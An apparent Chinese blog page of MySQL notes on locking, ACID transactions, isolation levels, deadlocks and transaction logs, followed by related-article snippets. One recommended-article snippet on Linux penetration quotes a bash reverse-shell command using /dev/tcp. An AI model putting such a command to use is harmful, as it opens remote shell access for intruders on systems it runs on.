一、Mysql逻辑架构

引用自《高性能Mysql》

二、并发控制

  • 读写锁:读锁是共享的,写锁是排他的,会阻塞其他的写锁和读锁。
  • 锁粒度:表锁、行级锁

三、事务

  • 事务(ACID特性):原子性、一致性、隔离性、持久性
  • 隔离级别

    Read uncommitted未提交读

事务中的修改,即使没有提交,其他事务也是可见的。

事务读取未提交的数据叫脏读

    Read committed提交读

事务只能看到其他事务已经提交的修改。

这个事务在其他事务提交前后的查询结果可能不一致叫不可重复读

    Repeatable read可重复读-Mysql默认级别

保证同一个事务多次读取的数据一致。

当某个事物读取某个范围的记录时,另一个事务往这个返回又插入了一条记录,当之前那个事务再次读取时,会产生幻读

    Serializable可串行化

强制事务串行执行。

  • 多个事务同事锁定一个资源时,会导致死锁。

死锁后可以部分或全部回滚其中一个事务来打破死锁,应用程序在设计时可以考虑重新执行回滚的事务。

  • 事务日志

数据的修改记录到事务日志并持久化,但数据本身还没写会磁盘时,系统崩溃,存储引擎重启时可以恢复这部分数据。

MySQL-基本概念的更多相关文章

  1. MySql基本概念(一)

    MySQL基本概念 一. 数据库系统概述: mysql是数据库系统的一种,下面是所有数据库系统中主要的组件. 数据库系统由硬件部分和软件部分构成,硬件主要用于存储数据库中的数据,包括计算机.存储设备. ...

  2. MySQL事务概念与流程和索引控制

    MySQL事务概念与流程和索引控制 视图 1.什么是视图 我们在执行SQL语句其实就是对表进行操作,所得到的其实也是一张表,而我们需要经常对这些表进行操作,拼接什么的都会产生一张虚拟表,我们可以基于该 ...

  3. MySQL基础概念知多少

    MySQL基础概念相关的名词还是挺多的,比如3大范式.4种隔离界别.ACID.DQL.DML.DDL,还有redo.undo.binlog等,本文就统一整理下MySQL常见的基础概念,方便小伙伴们翻阅 ...

  4. python3 速查参考- python基础 9 -> MySQL基础概念、数据库create、alter、insert、update、delete、select等基础命令

    前置步骤: 下载一个绿色版的mysql数据库客户端连接工具 :http://wosn.net/821.html mysql平台为win7(以后会有CentOS上的) 学习目的: 掌握数据库的基本概念, ...

  5. Oracle与MySQL的概念区别

    MySQL MySQL是一个以用户为中心的概念,一个用户下,拥有多个数据库,一个数据库下拥有多个数据库表!然而Oracle与MySQL有很大的不同!! Oracle Oracle中,一个数据库拥有多个 ...

  6. Mysql一些概念,基本没啥用,

    关系型数据库管理系统(RDBMS):是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据.特点:1.数据以表格的形式出现2.每行为各种记录名称3.每列为记录名称所对应的数 ...

  7. MySQL基本概念

    MySQL 数据库 MySQL可分为三个层次:文件层次,服务层次,界面 常用的数据类型:int 整数float double decimal ——小数(要在十进位栏里设置小数点后最大显示位数)varc ...

  8. MySQL数据类型概念

    关系型数据库的特点 1,数据以表格的形式出现 2,每行为各种记录的名称 3,每列为数据名称所对应的数据域 4许多的行和列组成一张table 5若干的表单组成databases 术语 数据库:关联表的集 ...

  9. MySQL基本概念以及简单操作

    一.MySQL   MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MyS ...

  10. MySql数据库概念

    一.什么是数据库? 数据库(Database)是按照数据结构来组织.存储和管理数据的建立在计算机存储设备上的仓库. 简单来说是本身可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据进行 ...

随机推荐

  1. git简单获取远程某个分支代码命令

    git clone resource.git git branch -a list all the local and remote branches git checkout [remote bra ...

  2. openstack官方指导书

    openstack官方网站:https://docs.openstack.org/ 由于openstack的官方文档有点多,所以这里对其进行梳理一下 Release Notes 发布版本 新功能,升级 ...

  3. linux 下定位程序假死

    ps -ef | grep 程序名称 pstack 程序的进程ID

  4. 极客时间_Vue开发实战_汇总贴

    视频地址: https://time.geekbang.org/course/intro/163 https://github.com/tangjinzhou/geektime-vue-1 电脑dem ...

  5. 13. linux渗透之反弹shell

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  6. iOS三方支付--微信支付/支付宝支付

    一.微信支付 1.注册账号并申请app支付功能 公司需要到微信开放品台进行申请app支付功能 , 获得appid和微信支付商户号(mch_id)和API秘钥(key) . Appsecret(secr ...

  7. 存储过程接收JSON格式数据

    前端有可能一次性上传多笔记录,并使用JSON序列化. 现在在MS SQL Server 2016版本上,可以直接处理JSO数据. 如下面的前端序列化的数据: DECLARE @json_string ...

  8. PHP正则表达式,看这一篇就够啦!

    前言 不知道你们有没有这个感觉,看正则表达式就像看天文数字一样,什么电话号码.邮箱的正则表达式,上网复制一下粘贴下来就搞定了.完全不知道这写的是什么玩意.后来我自己也想学一下,因为感觉用处还是挺大的. ...

  9. java实现对字符串和数字的冒泡排序

    public static void sort(Object[] objects){ if(objects instanceof Number[]){ for (int i = 0; i < o ...

  10. 判断iphone 屏幕大小宏定义

    #define IS_IPAD (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPad)  #define IS_IPHONE (UI_USER_I ...